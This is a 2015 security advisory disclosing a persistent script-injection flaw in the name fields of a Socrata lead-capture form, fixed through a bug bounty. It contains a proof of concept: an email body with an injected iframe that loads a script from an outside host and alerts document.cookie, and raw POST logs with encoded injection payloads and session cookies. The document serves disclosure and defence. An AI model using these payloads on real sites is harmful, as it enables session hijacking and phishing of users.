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Socrata Bug Bounty #1 - Persistent Encoding Vulnerability



Document Title:
===============
Socrata Bug Bounty #1 - Persistent Encoding Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1438


Release Date:
=============
2015-04-22


Vulnerability Laboratory ID (VL-ID):
====================================
1438


Common Vulnerability Scoring System:
====================================
3.3


Product & Service Introduction:
===============================
Private Socrata Bug Bounty Program - BC


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation vulnerability in the Socrata online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-02-24: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2015-02-24: Vendor Notification (Socrata Security Team - Silent Bug Bounty Program)
2015-02-24: Vendor Response/Feedback (Socrata Security Team - Silent Bug Bounty Program)
2015-02-24: Vendor Fix/Patch (Socrata Developer Team)
2015-02-25: Bug Bounty Reward (Socrata Security Team - Silent Bug Bounty Program)
2015-04-22: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Socrata Inc
Product: Socrata Online Service - Web Application 2015 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side mail encoding web vulnerability has been discovered in the official Socrata online service web-application.
The vulnerability allows remote attackers to bypass the outgoing mail filter validation of the socrata web-server & web-application.

The vulnerability is located in the first- and lastname values of the `leadCapture/save` module. Remote attackers without privileged application 
user account are able to inject persistent malicious script codes. The script code execution occurs in the notification mail to the service but 
also to the active user copy mail. The persistent injected script code executes in the header section were the database context of the first- and 
lastname will be displayed. The sender interacts automatically by usage of the discover.socrata.com service. The validation of the db stored outgoing 
values is wrong encoded and allows persistent injections of malicious script codes via POST method. The attack vector is persistent and the request 
method to inject is POST.

The security risk of the mail encoding web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the web vulnerability requires no privileged web-application user account and low or medium user interaction because of the 
persistent attack vector. Successful exploitation of the encoding vulnerability results in session hijacking, persistent phishing, persistent 
external redirects and persistent manipulation of web header or mail body context.

Vulnerable Domain(s):
				[+] discover.socrata.com

Vulnerable Module(s):
				[+] index.php/leadCapture/save

Vulnerable Parameter(s):
				[+] firstname
				[+] lastname

Affected Sender(s):
				[+] sales@xxxxxxxxxxx

Affected Receiver(s):
				[+] bkm@xxxxxxxxxxxxxxxxx

Affected Context Module(s):
				[+] Service Notification Mail (Users)


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Surf to the vulnerable service page
2. Inject payload to the firstname and lastname values
3. Save the content
4. View your mailbox to review the malicious mail
5 Successful reproduce of the security vulnerability!


PoC: Thank You for Downloading "The 2014 Benchmark Report"

<tbody><tr><td valign="top"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody>
<tr><td style="font-family:Helvecita, Arial,sans-serif; font-size:26px; line-height:30px; color:#2f2b26;
padding:35px 20px 35px 20px; " align="center" valign="top"><div id="TopHeadline" class="mktEditable">2014 Open Data Benchmark Report</div>
</td>
</tr>
<tr><td colspan="2" align="left" valign="top"><div class="headerDefault"><div id="Header" class="mktEditable"></div>
</div>
</td>
</tr>
</tbody></table>
</td>
</tr>
<tr><td style="padding:25px 25px 50px 25px; "><table class="column1" style="background:#fff; " align="left" border="0" cellpadding="0"
cellspacing="0"><tbody><tr><td style="font-family:Helvetica,Arial,sans-serif; color:#928e8b; font-size:16px; line-height:20px;
padding-bottom:25px; " valign="top"><div id="SubHeadline" class="mktEditable">Read the Full Report</div>
</td>
</tr>
<tr><td style="font-family:Helvetica,Arial,sans-serif; color:#555555; font-size:12px; line-height:17px; " valign="top"><div id="Body"
class="mktEditable"><p style="margin-top: 0;">Hello ">[PERSISTENT INJECTED SCRIPT CODE HERE!]<iframe src="http://www.evolution-sec.com/peng.js"; onload="alert(document.cookie),</p">
<p><span><p>Thank you for your interest in Socrata. You can download the 2014 Open Data Benchmark Study at any time by clicking the Download Now button below.</p>
<p>An effective digital portal is the foundation of improving efficiency with open data. Learn how the <a href=
"http://info.socrata.com/P000y0zS9I1GB80m0SpI193"; target="_blank"
>Socrata Open Data Portal</a> can help you streamline data publishing as well as enable others to search, query, and visualize your data with ease.</p></span></p>
<p>Sincerely,<br />   The Socrata Team </p></div>
<table border="0" cellspacing="0" cellpadding="0" width="130" ><tr ><td valign="top" style="line-height:38px;">
<img src="http://discover.socrata.com/rs/socrata/images/SOC-2001-EmailTemplate_button-bg-left.png"; width="4" height="38" style="display:block;"></td>
<td valign="middle" align="center" width="122" style="background:#3688c7; font-family:Arial,sans-serif; font-size:11px; " id="cta" >
<div class="mktEditable" id="ctabutton" ><a style="color: #fff; text-decoration: none;" href="http://info.socrata.com/dc/etTJjiR4FWljikJd-Q32ft94T9WmU3brfUe91EtPV5Ni0xg-
fugbOrtKryWragOmEUOmuznx6oKiB7-ZI_vvTlWvpJxF-ZMxGVvTpDTBBgewMyZQls7ugS6M1FrTI_N_/DSz801n0IIS00m019y3G0z9">Download Now</a></div>
</td>
<td valign="top" style="line-height:38px;"><img src="http://discover.socrata.com/rs/socrata/images/SOC-2001-EmailTemplate_button-bg-right.png"; width="4" height="38" style="display:block;"></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>


--- PoC Session Logs [POST] (Injection) ---
18:22:52.246[607ms][total 607ms] Status: 200[OK]
POST http://discover.socrata.com/index.php/leadCapture/save2 Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[162] Mime Type[application/json]
Request Header:
Host[discover.socrata.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report]
Content-Length[1547]
Cookie[_ga=GA1.2.1116345037.1424797254; _mkto_trk=id:851-SII-641&token:_mch-socrata.com-1424797253790-11625; BIGipServerabkweb_app_http=805830922.20480.0000; _ga=GA1.3.1116345037.1424797254; __ar_v4=VEJ5FE467RDKVEKTJM4OBA%3A20150226%3A4%7CYVZAENVZKNFATNFDNV7HDD%3A20150226%3A6%7CBASXJGCN7FCI5NFI65M4R7%3A20150226%3A6%7CZV6R5RYQUZFC7NTFHALGCQ%3A20150226%3A2; _bizo_bzid=2dccc537-d055-4ced-8648-cc5eff5e5db6; _bizo_cksm=2A2F66AADC1BB497; _bizo_np_stats=14%3D75%2C; __csess=1424799445047.9ZTM9L.; _gat_UA-9046230-4=1; __cdrop=.7YI4DD.]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
FirstName[%22%3E%3Ciframe%20src%3Da%20onload%3Dalert(%22PENTEST%22)]
LastName[%22%3E%3Ciframe%20src%3Da%20onload%3Dalert(%22PENTEST%22)%20%3C]
Email[bkm%40evolution-sec.com]
Company[sap%20epi]
Title[pentester%2023%20ONE]
testtest__c[]
Opt_in_Checkbox__c[Yes]
UTM_Term__c[]
UTM_Source__c[website]
UTM_Medium__c[organic]
UTM_Content__c[benchmark-ctas]
UTM_Campaign__c[2014-benchmark-report]
RF_HQ_Company_Name__c[]
RF_MS_Address1__c[]
RF_MS_Address2__c[]
RF_MS_Annual_Revenue__c[]
RF_MS_City__c[]
RF_MS_Company_Name__c[]
RF_MS_Confidence_Level__c[not%20found]
RF_MS_Employee_Location_Count__c[]
RF_MS_Employee_Total_Count__c[]
RF_MS_Inferred_Area_Code__c[]
RF_MS_Inferred_City__c[Heidelberg]
RF_MS_Inferred_Country__c[Germany]
RF_MS_Inferred_State__c[Baden-Wurttemberg]
RF_MS_Location_Type__c[]
RF_MS_NAICS_Name__c[]
RF_MS_NAIC_Code__c[]
RF_MS_Phone__c[]
RF_MS_SIC__c[]
RF_MS_SIC_Code__c[]
RF_MS_SIC_Name__c[]
RF_MS_State_Code__c[]
RF_MS_State_Name__c[]
RF_MS_Subsidiary_Code__c[]
RF_MS_Trade_Name__c[]
RF_MS_URL__c[]
RF_MS_postal_Code__c[]
Qualification_PM_Highest_Priorities__c[Public%20Safety]
formid[1968]
lpId[4775]
subId[147]
munchkinId[851-SII-641]
lpurl[http%3A%2F%2Fdiscover.socrata.com%2F2014-Open-Data-Benchmark-Report_Landing-Page-B.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D]
cr[]
kw[]
q[]
_mkt_trk[id%3A851-SII-641%26token%3A_mch-socrata.com-1424797253790-11625]
formVid[1968]
_mktoReferrer[http%3A%2F%2Fdiscover.socrata.com%2F2014-open-data-benchmark-report.html%3Futm_source%3Dwebsite%26utm_medium%3Dorganic%26utm_content%3Dbenchmark-ctas%26utm_campaign%3D2014-benchmark-report]
Response Header:
Server[nginx]
Date[Tue, 24 Feb 2015 17:22:57 GMT]
Content-Type[application/json; charset=utf-8]
Content-Length[162]
Connection[keep-alive]
Access-Control-Allow-Origin[*]
Vary[Accept-Encoding]
Content-Encoding[gzip]
-
18:22:52.871[1070ms][total 1332ms] Status: 200[OK]
GET http://discover.socrata.com/2014-benchmark-report-email-thank-you.html?aliId=5515772 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[6524] Mime Type[text/html]
Request Header:
Host[discover.socrata.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report]
Cookie[_ga=GA1.2.1116345037.1424797254; _mkto_trk=id:851-SII-641&token:_mch-socrata.com-1424797253790-11625; BIGipServerabkweb_app_http=805830922.20480.0000; _ga=GA1.3.1116345037.1424797254; __ar_v4=VEJ5FE467RDKVEKTJM4OBA%3A20150226%3A4%7CYVZAENVZKNFATNFDNV7HDD%3A20150226%3A6%7CBASXJGCN7FCI5NFI65M4R7%3A20150226%3A6%7CZV6R5RYQUZFC7NTFHALGCQ%3A20150226%3A2; _bizo_bzid=2dccc537-d055-4ced-8648-cc5eff5e5db6; _bizo_cksm=2A2F66AADC1BB497; _bizo_np_stats=14%3D75%2C; __csess=1424799445047.9ZTM9L.; _gat_UA-9046230-4=1; __cdrop=.7YI4DD.]
Connection[keep-alive]
Response Header:
Server[nginx]
Date[Tue, 24 Feb 2015 17:22:58 GMT]
Content-Type[text/html; charset=utf-8]
Content-Length[6524]
Connection[keep-alive]
p3p[CP="CAO CURa ADMa DEVa TAIa OUR IND UNI COM NAV INT"]
Vary[*,Accept-Encoding]
Content-Encoding[gzip]

Reference(s):
http://discover.socrata.com/index.php/leadCapture/save2
http://discover.socrata.com/2014-benchmark-report-email-thank-you.html?aliId=5515772
http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report


Solution - Fix & Patch:
=======================
Encode and Parse the firstname and lastname values in the contact formular. Restrict the input to disallow injection of special chars or script codes.
Parse the outgoing contact of mails with user values to prevent persistent script code execution in mail body with user values.


Security Risk:
==============
The security risk of the application-side mail encodeing web vulnerability is estimated as medium. (CVSS 3.3)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


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=========================
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policies, deface websites, hack into databases or trade with fraud/stolen material.

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